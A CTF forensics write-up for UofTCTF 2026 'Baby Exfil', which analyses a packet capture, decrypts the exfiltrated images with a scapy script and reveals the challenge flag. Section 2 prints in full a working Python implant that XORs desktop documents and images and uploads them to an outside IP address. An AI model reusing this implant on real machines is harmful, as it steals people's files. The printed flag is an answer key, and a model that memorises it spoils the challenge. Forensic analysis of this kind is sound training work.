UofTCTF 2026 — Baby Exfil Writeup

A packet capture of a data-exfiltration implant that steals images off a Windows desktop, XORs them with a hard-coded key and POSTs them as hex. The served malware ships the key, so the whole capture decrypts back to the stolen files.

4 min read
ibrahimsql
672 words

UofTCTF 2026 — Baby Exfil

A network-forensics challenge about a tiny exfiltration implant and the fact that the attacker handed us its source code.

  • Event: UofTCTF 2026
  • Category: Forensics
  • Artifact: final.pcapng.xz → final.pcapng
  • Flag format: uoftctf{...}

1. Separating signal from cloud noise

The capture is 19,084 packets and most of it is a normal Windows desktop talking to the internet: TLS on 443, QUIC on UDP/443, MSN/Bing/Google resolves. Filtering by conversation makes the odd one stand out — a client at 10.0.2.15 talking plain HTTP to a single host on a non-standard port:

TCP  10.0.2.15  ->  34.134.77.90:8080   POST /upload   (x5)
TCP  10.0.2.15  ->  35.238.80.16:8000   GET  /JdRlPr1.py

Two servers, two roles: :8000 hands out a script, :8080 receives uploads. The replies from :8080 identify it as Werkzeug/2.2.2 Python/3.11.2, and :8000 as SimpleHTTP/0.6 Python/3.11.2 — a python -m http.server staging directory with exactly one file in it.

2. The implant, served in the clear

The GET /JdRlPr1.py response is 907 bytes of readable Python (the second request gets a 304 Not Modified). It is short enough to read in full:

Python
import os
import requests
 
key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"
 
def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)
 
base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]
 
for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
 
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
 
                print(f"Sent: {file}")
            except:
                pass

That is the entire threat. It walks C:\Users\squid\Desktop, and for every .docx, .png, .jpeg or .jpg it reads the bytes, XORs them against the repeating key G0G0Squ1d3Ncrypt10n, hex-encodes the result and POSTs it as a multipart file field. No encryption beyond a fixed XOR, no key exchange — the key travels inside the tool itself.

3. The uploads are just hex text

Each POST /upload is multipart/form-data with User-Agent: python-requests/2.32.5 and a single file part whose filename is the original name on disk:

Text
3G2BHzj.jpeg   390,835 B
fZQ6WcI.png    737,768 B
HNderw.png     493,047 B
oMdVph0.jpeg    59,275 B
wYTCtRu.jpeg   191,178 B

The body is not binary — it is the ASCII hex string that content.hex() produced, so the 781 KB POST is really a 390 KB file. Reassembling each TCP stream, cutting the part body at the multipart boundary, bytes.fromhex()-ing it and XORing with the key from the script inverts the implant exactly:

Python
from scapy.all import PcapReader, IP, TCP, Raw
import re
 
KEY = b"G0G0Squ1d3Ncrypt10n"
streams = {}
with PcapReader("final.pcapng") as pr:
    for p in pr:
        if IP in p and TCP in p and Raw in p and p[TCP].dport == 8080:
            k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
            streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
 
for k, pkts in streams.items():
    pkts.sort()
    data = b"".join(b for _, b in pkts)
    if not data.startswith(b"POST /upload"):
        continue
    name = re.search(rb'filename="([^"]+)"', data).group(1).decode()
    body = re.split(rb'\r\n--', data.split(b'filename', 1)[1].split(b'\r\n\r\n', 1)[1])[0].strip()
    cipher = bytes.fromhex(body.decode())
    plain = bytes(c ^ KEY[i % len(KEY)] for i, c in enumerate(cipher))
    open(name, "wb").write(plain)
    print(name, len(plain), plain[:4])

The recovered bytes carry real magic numbers — ff d8 ff db and ff d8 ff e0 for JPEG, 89 50 4e 47 0d 0a 1a 0a for PNG — which is the confirmation the key is right.

4. Reading the stolen files

Five images come back: a dog on a mountain, a Windows 7 desktop, a grumpy cat, an anime screenshot, and — pasted straight across the anime screenshot — the flag.

uoftctf{b4by_w1r3sh4rk_an4lys1s}

The data the attacker wanted was the files on the desktop; the one that mattered was a screenshot the implant didn't know was there.

5. Flag

uoftctf{b4by_w1r3sh4rk_an4lys1s}

The lesson is the oldest one in the book: never ship the key with the tool. A repeating-key XOR is only as strong as the secret's secrecy, and here the secret was served over plain HTTP from the same capture that carried the ciphertext.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts